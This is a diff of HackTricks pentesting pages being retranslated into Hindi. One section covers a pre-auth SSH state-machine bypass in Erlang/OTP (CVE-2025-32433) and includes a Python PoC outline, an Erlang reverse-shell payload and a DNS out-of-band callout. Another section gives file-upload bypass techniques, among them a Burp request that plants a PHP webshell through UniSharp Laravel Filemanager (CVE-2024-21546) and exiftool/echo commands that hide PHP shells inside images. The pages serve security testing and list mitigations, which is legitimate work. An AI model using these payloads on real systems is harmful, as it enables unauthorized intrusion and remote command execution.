sshd_config
|
||||||
@ -283,18 +304,18 @@ id_rsa
|
|||||||
|
|
||||||
## Authentication State-Machine Bypass (Pre-Auth RCE)
|
## Authentication State-Machine Bypass (Pre-Auth RCE)
|
||||||
|
|
||||||
कई SSH सर्वर कार्यान्वयन में **प्रमाणीकरण सीमित-राज्य मशीन** में तार्किक दोष होते हैं जो एक क्लाइंट को *कनेक्शन-प्रोटोकॉल* संदेश भेजने की अनुमति देते हैं **पहले** प्रमाणीकरण समाप्त होने से। क्योंकि सर्वर यह सत्यापित करने में विफल रहता है कि यह सही स्थिति में है, उन संदेशों को इस तरह से संभाला जाता है जैसे कि उपयोगकर्ता पूरी तरह से प्रमाणीकृत हो, जिससे **अप्रमाणीकृत कोड निष्पादन** या सत्र निर्माण होता है।
|
कुछ SSH सर्वर implementations में **authentication finite-state machine** में लॉजिक दोष होते हैं, जो क्लाइंट को प्रमाणीकरण समाप्त होने से पहले *connection-protocol* संदेश भेजने की अनुमति देते हैं। चूंकि सर्वर यह सत्यापित करने में विफल रहता है कि वह सही state में है, इसलिए उन संदेशों को ऐसे संभाला जाता है जैसे उपयोगकर्ता पूरी तरह authenticated हो चुका है, जिससे **unauthenticated code execution** या session creation हो सकता है।
|
||||||
|
|
||||||
प्रोटोकॉल स्तर पर, कोई भी SSH संदेश जिसमें _संदेश कोड_ **≥ 80** (0x50) होता है, *कनेक्शन* परत (RFC 4254) से संबंधित है और इसे **केवल सफल प्रमाणीकरण के बाद स्वीकार किया जाना चाहिए** (RFC 4252)। यदि सर्वर उन संदेशों में से एक को *SSH_AUTHENTICATION* स्थिति में रहते हुए संसाधित करता है, तो हमलावर तुरंत एक चैनल बना सकता है और कमांड निष्पादन, पोर्ट-फॉरवर्डिंग आदि जैसी क्रियाओं का अनुरोध कर सकता है।
|
प्रोटोकॉल स्तर पर किसी भी SSH संदेश का _message code_ **≥ 80** (0x50) *connection* लेयर (RFC 4254) का होता है और इसे केवल सफल authentication के बाद ही स्वीकार किया जाना चाहिए (RFC 4252)। यदि सर्वर उन संदेशों में से किसी को तब भी प्रोसेस कर देता है जब वह अभी भी *SSH_AUTHENTICATION* state में है, तो हमलावर तुरंत एक channel बना सकता है और command execution, port-forwarding जैसे कार्यों के लिए अनुरोध कर सकता है।
|
||||||
|
|
||||||
### Generic Exploitation Steps
|
### सामान्य शोषण कदम
|
||||||
1. लक्ष्य के SSH पोर्ट (आम तौर पर 22, लेकिन अन्य सेवाएं 2022, 830, 2222… पर Erlang/OTP को उजागर कर सकती हैं) पर एक TCP कनेक्शन स्थापित करें।
|
1. लक्ष्य के SSH पोर्ट पर एक TCP कनेक्शन स्थापित करें (सामान्यतः 22, लेकिन अन्य सेवाएँ Erlang/OTP को 2022, 830, 2222… पर एक्सपोज़ कर सकती हैं)।
|
||||||
2. एक कच्चा SSH पैकेट तैयार करें:
|
2. एक raw SSH packet बनाएं:
|
||||||
* 4-बाइट **packet_length** (बिग-एंडियन)
|
* 4-byte **packet_length** (big-endian)
|
||||||
* 1-बाइट **message_code** ≥ 80 (जैसे `SSH_MSG_CHANNEL_OPEN` = 90, `SSH_MSG_CHANNEL_REQUEST` = 98)
|
* 1-byte **message_code** ≥ 80 (e.g. `SSH_MSG_CHANNEL_OPEN` = 90, `SSH_MSG_CHANNEL_REQUEST` = 98)
|
||||||
* वह पेलोड जो चुने गए संदेश प्रकार द्वारा समझा जाएगा
|
* Payload that will be understood by the chosen message type
|
||||||
3. पैकेट(s) को **किसी भी प्रमाणीकरण चरण को पूरा करने से पहले** भेजें।
|
3. किसी भी authentication चरण को पूरा किए बिना पैकेट(स) भेजें।
|
||||||
4. सर्वर APIs के साथ इंटरैक्ट करें जो अब _pre-auth_ (कमांड निष्पादन, पोर्ट फॉरवर्डिंग, फ़ाइल-प्रणाली पहुंच, …) के रूप में उजागर हैं।
|
4. अब प्री-ऑथ के दौरान एक्सपोज़ हुई सर्वर APIs के साथ इंटरैक्ट करें (command execution, port forwarding, file-system access, …).
|
||||||
|
|
||||||
Python proof-of-concept outline:
|
Python proof-of-concept outline:
|
||||||
```python
|
```python
|
||||||
@ -308,39 +329,43 @@ pkt = struct.pack('>I', 1) + b'\x5a' # 0x5a = 90
|
|||||||
s.sendall(pkt)
|
s.sendall(pkt)
|
||||||
# additional CHANNEL_REQUEST packets can follow to run commands
|
# additional CHANNEL_REQUEST packets can follow to run commands
|
||||||
```
|
```
|
||||||
व्यवहार में, आपको लक्षित कार्यान्वयन के अनुसार कुंजी-परिवर्तन करना होगा (या छोड़ना होगा), लेकिन **कोई प्रमाणीकरण** कभी नहीं किया जाता है।
|
In practice you will need to perform (or skip) the key-exchange according to the target implementation, but **no authentication** is ever performed.
|
||||||
|
|
||||||
---
|
---
|
||||||
### Erlang/OTP `sshd` (CVE-2025-32433)
|
### Erlang/OTP `sshd` (CVE-2025-32433)
|
||||||
* **प्रभावित संस्करण:** OTP < 27.3.3, 26.2.5.11, 25.3.2.20
|
* **प्रभावित संस्करण:** OTP < 27.3.3, 26.2.5.11, 25.3.2.20
|
||||||
* **मूल कारण:** Erlang का स्वदेशी SSH डेमन वर्तमान स्थिति को मान्य नहीं करता है जब `ssh_connection:handle_msg/2` को बुलाया जाता है। इसलिए, कोई भी पैकेट जिसमें संदेश कोड 80-255 है, कनेक्शन हैंडलर तक पहुंचता है जबकि सत्र अभी भी *userauth* स्थिति में है।
|
* **मूल कारण:** Erlang native SSH daemon वर्तमान state को validate नहीं करता है इससे पहले कि वह `ssh_connection:handle_msg/2` को invoke करे। इसलिए कोई भी पैकेट जिसका message code 80-255 है connection handler तक पहुँच जाता है जबकि session अभी भी *userauth* state में होता है।
|
||||||
* **प्रभाव:** अप्रमाणित **दूरस्थ कोड निष्पादन** (डेमन आमतौर पर एम्बेडेड/OT उपकरणों पर **रूट** के रूप में चलता है)।
|
* **प्रभाव:** unauthenticated **remote code execution** (the daemon usually runs as **root** on embedded/OT devices).
|
||||||
|
|
||||||
उदाहरण पेलोड जो हमलावर-नियंत्रित चैनल से बंधा एक रिवर्स शेल उत्पन्न करता है:
|
उदाहरण payload जो attacker-controlled channel से जुड़ा reverse shell उत्पन्न करता है:
|
||||||
```erlang
|
```erlang
|
||||||
% open a channel first … then:
|
% open a channel first … then:
|
||||||
execSinet:cmd(Channel, "exec('/bin/sh', ['-i'], [{fd, Channel#channel.fd}, {pid, true}]).").
|
execSinet:cmd(Channel, "exec('/bin/sh', ['-i'], [{fd, Channel#channel.fd}, {pid, true}]).").
|
||||||
```
|
```
|
||||||
ब्लाइंड RCE / आउट-ऑफ-बैंड डिटेक्शन DNS के माध्यम से किया जा सकता है:
|
Blind RCE / out-of-band detection DNS के माध्यम से किया जा सकता है:
|
||||||
```erlang
|
```erlang
|
||||||
execSinet:gethostbyname("<random>.dns.outbound.watchtowr.com").Zsession
|
execSinet:gethostbyname("<random>.dns.outbound.watchtowr.com").Zsession
|
||||||
```
|
```
|
||||||
Detection & Mitigation:
|
डिटेक्शन और निवारण:
|
||||||
* SSH ट्रैफ़िक की जांच करें: **प्रमाणीकरण से पहले देखे गए संदेश कोड ≥ 80 के साथ किसी भी पैकेट को गिरा दें**।
|
* SSH ट्रैफ़िक की जाँच करें: **प्रमाणीकरण से पहले देखे गए किसी भी packet जिसका message code ≥ 80 हो, उसे drop करें**।
|
||||||
* Erlang/OTP को **27.3.3 / 26.2.5.11 / 25.3.2.20** या नए संस्करण में अपग्रेड करें।
|
* Erlang/OTP को **27.3.3 / 26.2.5.11 / 25.3.2.20** या नवीनतम में अपग्रेड करें।
|
||||||
* प्रबंधन पोर्ट्स (22/2022/830/2222) के एक्सपोज़र को सीमित करें - विशेष रूप से OT उपकरणों पर।
|
* management ports (22/2022/830/2222) की पहुँच सीमित करें — विशेषकर OT उपकरणों पर।
|
||||||
|
|
||||||
---
|
---
|
||||||
### Other Implementations Affected
|
### प्रभावित अन्य इम्प्लीमेंटेशन
|
||||||
* **libssh** 0.6 – 0.8 (सर्वर साइड) – **CVE-2018-10933** – क्लाइंट द्वारा भेजे गए एक अप्रमाणित `SSH_MSG_USERAUTH_SUCCESS` को स्वीकार करता है, प्रभावी रूप से विपरीत लॉजिक दोष।
|
* **libssh** 0.6 – 0.8 (server side) – **CVE-2018-10933** – क्लाइंट द्वारा भेजा गया unauthenticated `SSH_MSG_USERAUTH_SUCCESS` स्वीकार कर लेता है, जो प्रभावी रूप से inverse logic flaw है।
|
||||||
|
|
||||||
सामान्य पाठ यह है कि RFC-निर्धारित राज्य संक्रमणों से कोई भी विचलन घातक हो सकता है; SSH डेमन्स की समीक्षा करते समय या फज़िंग करते समय *राज्य-यांत्रिकी प्रवर्तन* पर विशेष ध्यान दें।
|
सामान्य सबक यह है कि RFC-निर्धारित state transitions से किसी भी विचलन का परिणाम घातक हो सकता है; जब आप SSH daemons की समीक्षा या fuzzing कर रहे हों तो विशेष ध्यान *state-machine enforcement* पर दें।
|
||||||
|
|
||||||
## References
|
|
||||||
|
|
||||||
|
## संदर्भ
|
||||||
|
|
||||||
- [Unit 42 – Erlang/OTP SSH CVE-2025-32433](https://unit42.paloaltonetworks.com/erlang-otp-cve-2025-32433/)
|
- [Unit 42 – Erlang/OTP SSH CVE-2025-32433](https://unit42.paloaltonetworks.com/erlang-otp-cve-2025-32433/)
|
||||||
- [SSH hardening guides](https://www.ssh-audit.com/hardening_guides.html)
|
- [SSH hardening guides](https://www.ssh-audit.com/hardening_guides.html)
|
||||||
- [Turgensec SSH hacking guide](https://community.turgensec.com/ssh-hacking-guide)
|
- [Turgensec SSH hacking guide](https://community.turgensec.com/ssh-hacking-guide)
|
||||||
|
- [Pentesting Kerberos (88) – client setup and troubleshooting](pentesting-kerberos-88/README.md)
|
||||||
|
- [0xdf – HTB: TheFrizz](https://0xdf.gitlab.io/2025/08/23/htb-thefrizz.html)
|
||||||
|
|
||||||
## HackTricks Automatic Commands
|
## HackTricks Automatic Commands
|
||||||
```
|
```
|
||||||
|
@ -1,8 +1,8 @@
|
|||||||
# फ़ाइल अपलोड
|
# फाइल अपलोड
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
## फ़ाइल अपलोड सामान्य कार्यप्रणाली
|
## फाइल अपलोड सामान्य कार्यप्रणाली
|
||||||
|
|
||||||
Other useful extensions:
|
Other useful extensions:
|
||||||
|
|
||||||
@ -17,11 +17,11 @@ Other useful extensions:
|
|||||||
|
|
||||||
### Bypass file extensions checks
|
### Bypass file extensions checks
|
||||||
|
|
||||||
1. अगर लागू हो, तो **पहले बताई गई extensions** की **जाँच** करें। साथ ही कुछ **uppercase letters** के साथ भी टेस्ट करें: _pHp, .pHP5, .PhAr ..._
|
1. यदि लागू हो, तो **पहले बताए गए एक्सटेंशन्स** की जाँच करें। इन्हें कुछ **uppercase letters** के साथ भी टेस्ट करें: _pHp, .pHP5, .PhAr ..._
|
||||||
2. _Check **adding a valid extension before** the execution extension (use previous extensions also):_
|
2. _जाँचें **execution extension के पहले एक valid extension जोड़ने** से क्या होता है (पिछले एक्सटेंशन भी उपयोग करें):_
|
||||||
- _file.png.php_
|
- _file.png.php_
|
||||||
- _file.png.Php5_
|
- _file.png.Php5_
|
||||||
3. अंत में **special characters** जोड़कर भी कोशिश करें। आप Burp का उपयोग करके सभी **ascii** और **Unicode** characters को **bruteforce** कर सकते हैं। (_Note that you can also try to use the **previously** motioned **extensions**_)
|
3. अंत में **विशेष अक्षर** जोड़ने की कोशिश करें। आप Burp का उपयोग करके सभी **ascii** और **Unicode** अक्षरों को **bruteforce** कर सकते हैं। (_टिप: आप **पहले बताए गए** एक्सटेंशन्स का भी उपयोग कर सकते हैं_)
|
||||||
- _file.php%20_
|
- _file.php%20_
|
||||||
- _file.php%0a_
|
- _file.php%0a_
|
||||||
- _file.php%00_
|
- _file.php%00_
|
||||||
@ -31,7 +31,7 @@ Other useful extensions:
|
|||||||
- _file._
|
- _file._
|
||||||
- _file.php...._
|
- _file.php...._
|
||||||
- _file.pHp5...._
|
- _file.pHp5...._
|
||||||
4. सर्वर-साइड के extension parser को धोखा देकर protections को बाईपास करने की कोशिश करें, जैसे कि **doubling** the **extension** या extensions के बीच **junk data** (**null** bytes) डालना। _You can also use the **previous extensions** to prepare a better payload._
|
4. सर्वर-साइड के **extension parser** को धोखा देकर सुरक्षा को बायपास करने की कोशिश करें — जैसे **extension को डबल करना** या extensions के बीच **junk** डेटा (**null** bytes) जोड़ना। _बेहतर payload तैयार करने के लिए आप **पहले बताए गए** एक्सटेंशन्स का भी उपयोग कर सकते हैं।_
|
||||||
- _file.png.php_
|
- _file.png.php_
|
||||||
- _file.png.pHp5_
|
- _file.png.pHp5_
|
||||||
- _file.php#.png_
|
- _file.php#.png_
|
||||||
@ -40,13 +40,13 @@ Other useful extensions:
|
|||||||
- _file.php%0a.png_
|
- _file.php%0a.png_
|
||||||
- _file.php%0d%0a.png_
|
- _file.php%0d%0a.png_
|
||||||
- _file.phpJunk123png_
|
- _file.phpJunk123png_
|
||||||
5. पिछले चेक में **एक और लेयर** जोड़ें:
|
5. पिछले चेक में **एक और एक्सटेंशन स्तर** जोड़ें:
|
||||||
- _file.png.jpg.php_
|
- _file.png.jpg.php_
|
||||||
- _file.php%00.png%00.jpg_
|
- _file.php%00.png%00.jpg_
|
||||||
6. कोशिश करें कि **exec extension को valid extension से पहले रख दें** और उम्मीद करें कि सर्वर misconfigured हो। (Apache misconfigurations को exploit करने में उपयोगी जहाँ किसी भी चीज़ का extension **.php** है पर जरूरी नहीं कि filename `.php` पर खत्म हो — तब code execute हो सकता है):
|
6. कोशिश करें कि **exec extension को valid extension के पहले** रखें और उम्मीद करें कि सर्वर misconfigured है। (यह Apache misconfigurations का फायदा उठाने में उपयोगी है जहाँ किसी भी फ़ाइल जिसका extension **.php** हो, भले ही वह _ending_ में `.php` न हो, code execute कर सकती है):
|
||||||
- _ex: file.php.png_
|
- _ex: file.php.png_
|
||||||
7. **Windows** में **NTFS alternate data stream (ADS)** का उपयोग करें। इस केस में, forbidden extension के बाद और permitted extension से पहले colon character ":" डाला जाएगा। परिणामस्वरूप, सर्वर पर एक **empty file with the forbidden extension** बन सकती है (उदा. "file.asax:.jpg”). बाद में इस फ़ाइल को अन्य techniques से edit किया जा सकता है जैसे कि उसकी short filename का उपयोग करके। "**::$data**” pattern का उपयोग non-empty files बनाने के लिए भी किया जा सकता है। इसलिए, इस pattern के बाद dot character जोड़ना आगे की restrictions बाईपास करने में उपयोगी हो सकता है (उदा. "file.asp::$data.”)
|
7. **Windows** में **NTFS alternate data stream (ADS)** का उपयोग करें। इस मामले में, एक colon character ":" को एक forbidden extension के बाद और एक permitted extension से पहले डाल दिया जाएगा। परिणामस्वरूप, सर्वर पर एक **खाली फ़ाइल जिसकी extension forbidden है** बनाई जा सकती है (उदा. "file.asax:.jpg”). इस फ़ाइल को बाद में अन्य तकनीकों से edit किया जा सकता है, जैसे इसकी short filename का उपयोग करना। "**::$data**” पैटर्न का उपयोग non-empty फ़ाइलें बनाने के लिए भी किया जा सकता है। इसलिए इस पैटर्न के बाद एक dot character जोड़ना आगे की रोकथामों को बायपास करने में उपयोगी हो सकता है (उदा. "file.asp::$data.”)
|
||||||
8. filename limits तोड़कर देखें। valid extension कट जाती है और malicious PHP बच जाता है। AAA<--SNIP-->AAA.php
|
8. filename limits को तोड़ने की कोशिश करें। valid extension कट जाती है और malicious PHP बच जाता है. AAA<--SNIP-->AAA.php
|
||||||
|
|
||||||
```
|
```
|
||||||
# Linux maximum 255 bytes
|
# Linux maximum 255 bytes
|
||||||
@ -61,11 +61,11 @@ AAA<--SNIP 232 A-->AAA.php.png
|
|||||||
|
|
||||||
#### UniSharp Laravel Filemanager pre-2.9.1 (.php. trailing dot) – CVE-2024-21546
|
#### UniSharp Laravel Filemanager pre-2.9.1 (.php. trailing dot) – CVE-2024-21546
|
||||||
|
|
||||||
कुछ upload handlers saved filename से trailing dot characters को trim या normalize कर देते हैं। UniSharp’s Laravel Filemanager (unisharp/laravel-filemanager) के versions 2.9.1 से पहले, आप extension validation को बाईपास कर सकते हैं:
|
कुछ upload handlers saved filename से trailing dot characters को trim या normalize कर देते हैं। UniSharp’s Laravel Filemanager (unisharp/laravel-filemanager) के 2.9.1 से पहले के संस्करणों में, आप extension validation को निम्न तरीके से बायपास कर सकते हैं:
|
||||||
|
|
||||||
- एक वैध image MIME और magic header का उपयोग करना (उदा., PNG का `\x89PNG\r\n\x1a\n`)।
|
- एक valid image MIME और magic header का उपयोग करें (उदा., PNG’s `\x89PNG\r\n\x1a\n`)।
|
||||||
- अपलोड की गई फ़ाइल का नाम PHP extension के बाद एक dot के साथ रखना, जैसे `shell.php.`।
|
- अपलोड की गई फ़ाइल का नाम PHP extension के बाद एक dot जोड़कर रखें, उदाहरण के लिए `shell.php.`।
|
||||||
- सर्वर trailing dot को हटा देता है और `shell.php` को persist कर देता है, जो कि web-served directory (default public storage जैसे `/storage/files/`) में रखा गया हो तो execute हो सकता है।
|
- सर्वर trailing dot को हटा देता है और `shell.php` को persist कर देता है, जो कि web-served directory में रखा जाए (डिफ़ॉल्ट public storage जैसे `/storage/files/`) तो execute होगा।
|
||||||
|
|
||||||
Minimal PoC (Burp Repeater):
|
Minimal PoC (Burp Repeater):
|
||||||
```http
|
```http
|
||||||
@ -80,65 +80,65 @@ Content-Type: image/png
|
|||||||
\x89PNG\r\n\x1a\n<?php system($_GET['cmd']??'id'); ?>
|
\x89PNG\r\n\x1a\n<?php system($_GET['cmd']??'id'); ?>
|
||||||
------WebKitFormBoundary--
|
------WebKitFormBoundary--
|
||||||
```
|
```
|
||||||
फिर saved path को हिट करें (Laravel + LFM में सामान्य):
|
फिर सहेजे गए path को हिट करें (Laravel + LFM में सामान्यतः):
|
||||||
```
|
```
|
||||||
GET /storage/files/0xdf.php?cmd=id
|
GET /storage/files/0xdf.php?cmd=id
|
||||||
```
|
```
|
||||||
Mitigations:
|
Mitigations:
|
||||||
- Upgrade unisharp/laravel-filemanager to ≥ 2.9.1.
|
- unisharp/laravel-filemanager को ≥ 2.9.1 में अपग्रेड करें.
|
||||||
- Enforce strict server-side allowlists and re-validate the persisted filename.
|
- कड़े server-side allowlists लागू करें और persisted filename को पुनः validate करें.
|
||||||
- Serve uploads from non-executable locations.
|
- uploads को non-executable स्थानों से serve करें.
|
||||||
|
|
||||||
### Bypass Content-Type, Magic Number, Compression & Resizing
|
### Content-Type, Magic Number, Compression & Resizing को बायपास करना
|
||||||
|
|
||||||
- Bypass **Content-Type** checks by setting the **value** of the **Content-Type** **header** to: _image/png_ , _text/plain , application/octet-stream_
|
- **Content-Type** जांच को बायपास करने के लिए **Content-Type** **header** के **value** को सेट करें: _image/png_, _text/plain_, application/octet-stream
|
||||||
1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
|
1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
|
||||||
- Bypass **magic number** check by adding at the beginning of the file the **bytes of a real image** (confuse the _file_ command). Or introduce the shell inside the **metadata**:\
|
- **magic number** चेक को बायपास करने के लिए फाइल की शुरुआत में एक वास्तविक image के **bytes** जोड़ें ( _file_ कमांड को भ्रमित करें)। या shell को **metadata** के अंदर डालें:\
|
||||||
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
|
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
|
||||||
`\` or you could also **introduce the payload directly** in an image:\
|
`\` या आप payload को सीधे image में भी डाल सकते हैं:\
|
||||||
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
|
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
|
||||||
- If **compressions is being added to your image**, for example using some standard PHP libraries like [PHP-GD](https://www.php.net/manual/fr/book.image.php), the previous techniques won't be useful it. However, you could use the **PLTE chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) to insert some text that will **survive compression**.
|
- यदि आपकी image पर **compression** जोड़ी जा रही है, उदाहरण के लिए कुछ standard PHP libraries जैसे [PHP-GD](https://www.php.net/manual/fr/book.image.php) का उपयोग करके, तो पिछले तरीके उपयोगी नहीं होंगे। हालांकि, आप **PLTE chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) का उपयोग कर सकते हैं ताकि कुछ टेक्स्ट insert किया जा सके जो **compression में बच जाए**।
|
||||||
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
|
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
|
||||||
- The web page cold also be **resizing** the **image**, using for example the PHP-GD functions `imagecopyresized` or `imagecopyresampled`. However, you could use the **IDAT chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) to insert some text that will **survive compression**.
|
- वेब पेज image को **resizing** भी कर सकता है, उदाहरण के लिए PHP-GD के `imagecopyresized` या `imagecopyresampled` का उपयोग करके। हालांकि, आप **IDAT chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) का उपयोग कर कुछ टेक्स्ट डाल सकते हैं जो **compression में बच जाए**।
|
||||||
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
|
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
|
||||||
- Another technique to make a payload that **survives an image resizing**, using the PHP-GD function `thumbnailImage`. However, you could use the **tEXt chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) to insert some text that will **survive compression**.
|
- एक और तकनीक ऐसी payload बनाने की है जो image resizing में **बच जाए**, PHP-GD के `thumbnailImage` फ़ंक्शन का उपयोग करते हुए। आप **tEXt chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) का उपयोग कर कुछ टेक्स्ट insert कर सकते हैं जो **compression में बच जाए**।
|
||||||
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
|
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
|
||||||
|
|
||||||
### Other Tricks to check
|
### अन्य ट्रिक्स जांचने के लिए
|
||||||
|
|
||||||
- Find a vulnerability to **rename** the file already uploaded (to change the extension).
|
- पहले से अपलोड की गई फ़ाइल का extension बदलने के लिए उसे **rename** करने की vulnerability खोजें।
|
||||||
- Find a **Local File Inclusion** vulnerability to execute the backdoor.
|
- backdoor को execute करने के लिए **Local File Inclusion** vulnerability खोजें।
|
||||||
- **Possible Information disclosure**:
|
- **Possible Information disclosure**:
|
||||||
1. एक ही फाइल को **कई बार** (और एक ही समय पर) एक ही **नाम** से upload करें
|
1. एक ही फ़ाइल को **कई बार** (और **एक ही समय** में) **उसी नाम** के साथ अपलोड करें।
|
||||||
2. ऐसी फाइल upload करें जिसका **name** किसी पहले से मौजूद **file** या **folder** जैसा हो
|
2. किसी फ़ाइल या फ़ोल्डर के **नाम** वाला एक फ़ाइल अपलोड करें जो **पहले से मौजूद** हो।
|
||||||
3. फाइल का नाम **".", "..", या "..."** रखें। उदाहरण के लिए, Apache में **Windows** पर, यदि application अपलोड की गई फाइलों को "/www/uploads/" directory में सेव करता है, तो "." filename "/www/" directory में "uploads" नाम की एक फाइल बना देगा।
|
3. ऐसी फ़ाइल अपलोड करना जिसका नाम **"." , "..", or "…"** हो। उदाहरण के लिए, Apache में **Windows** पर, यदि एप्लिकेशन अपलोड की गई फाइलों को "/www/uploads/" डायरेक्टरी में सेव करता है, तो "." filename "/www/" डायरेक्टरी में uploads” नाम की फ़ाइल बना देगा।
|
||||||
4. ऐसी फाइल upload करें जिसे आसानी से delete न किया जा सके जैसे **"...:.jpg"** in **NTFS**. (Windows)
|
4. ऐसी फ़ाइल अपलोड करें जिसे आसानी से हटाया न जा सके, जैसे **"…:.jpg"** in **NTFS**। (Windows)
|
||||||
5. **Windows** में ऐसे invalid characters वाले नाम से फाइल upload करें जैसे `|<>*?”`। (Windows)
|
5. **Windows** में ऐसे invalid characters जैसे `|<>*?”` वाले नाम के साथ फ़ाइल अपलोड करें। (Windows)
|
||||||
6. **Windows** में reserved (forbidden) नामों का इस्तेमाल करके फाइल upload करें जैसे CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, and LPT9.
|
6. **Windows** में reserved (forbidden) **names** जैसे CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, and LPT9 का उपयोग करके फ़ाइल अपलोड करें।
|
||||||
- Try also to **upload an executable** (.exe) or an **.html** (less suspicious) that **will execute code** when accidentally opened by victim.
|
- कोशिश करें **upload an executable** (.exe) या एक **.html** (कम संदिग्ध) अपलोड करने की जो गलती से victim द्वारा खोले जाने पर **कोड execute करेगा**।
|
||||||
|
|
||||||
### Special extension tricks
|
### Special extension tricks
|
||||||
|
|
||||||
If you are trying to upload files to a **PHP server**, [take a look at the **.htaccess** trick to execute code](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
|
यदि आप **PHP server** पर फाइलें अपलोड करने की कोशिश कर रहे हैं, [take a look at the **.htaccess** trick to execute code](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
|
||||||
If you are trying to upload files to an **ASP server**, [take a look at the **.config** trick to execute code](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
|
यदि आप **ASP server** पर फाइलें अपलोड करने की कोशिश कर रहे हैं, [take a look at the **.config** trick to execute code](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
|
||||||
|
|
||||||
The `.phar` files are like the `.jar` for java, but for php, and can be **used like a php file** (executing it with php, or including it inside a script...)
|
`.phar` फाइलें java के लिए `.jar` जैसी होती हैं, लेकिन php के लिए, और इन्हें **php फ़ाइल की तरह उपयोग किया जा सकता है** (php से execute करना, या किसी script में include करना...)।
|
||||||
|
|
||||||
The `.inc` extension is sometimes used for php files that are only used to **import files**, so, at some point, someone could have allow **this extension to be executed**.
|
`.inc` extension कभी-कभी उन php फाइलों के लिए उपयोग किया जाता है जो केवल फाइलें **import** करने के लिए हैं, इसलिए, किसी बिंदु पर, किसी ने इस **extension को execute होने की अनुमति** दी हो सकती है।
|
||||||
|
|
||||||
## **Jetty RCE**
|
## **Jetty RCE**
|
||||||
|
|
||||||
If you can upload a XML file into a Jetty server you can obtain [RCE because **new \*.xml and \*.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** So, as mentioned in the following image, upload the XML file to `$JETTY_BASE/webapps/` and expect the shell!
|
यदि आप Jetty server में एक XML फ़ाइल अपलोड कर सकते हैं तो आप [RCE because **new *.xml and *.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1) प्राप्त कर सकते हैं। जैसा कि निम्न चित्र में बताया गया है, XML फ़ाइल को `$JETTY_BASE/webapps/` में अपलोड करें और shell की उम्मीद करें!
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
## **uWSGI RCE**
|
## **uWSGI RCE**
|
||||||
|
|
||||||
For a detailed exploration of this vulnerability check the original research: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
|
इस vulnerability की विस्तृत जांच के लिए मूल रिसर्च देखें: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
|
||||||
|
|
||||||
Remote Command Execution (RCE) vulnerabilities can be exploited in uWSGI servers if one has the capability to modify the `.ini` configuration file. uWSGI configuration files leverage a specific syntax to incorporate "magic" variables, placeholders, and operators. Notably, the '@' operator, utilized as `@(filename)`, is designed to include the contents of a file. Among the various supported schemes in uWSGI, the "exec" scheme is particularly potent, allowing the reading of data from a process's standard output. This feature can be manipulated for nefarious purposes such as Remote Command Execution or Arbitrary File Write/Read when a `.ini` configuration file is processed.
|
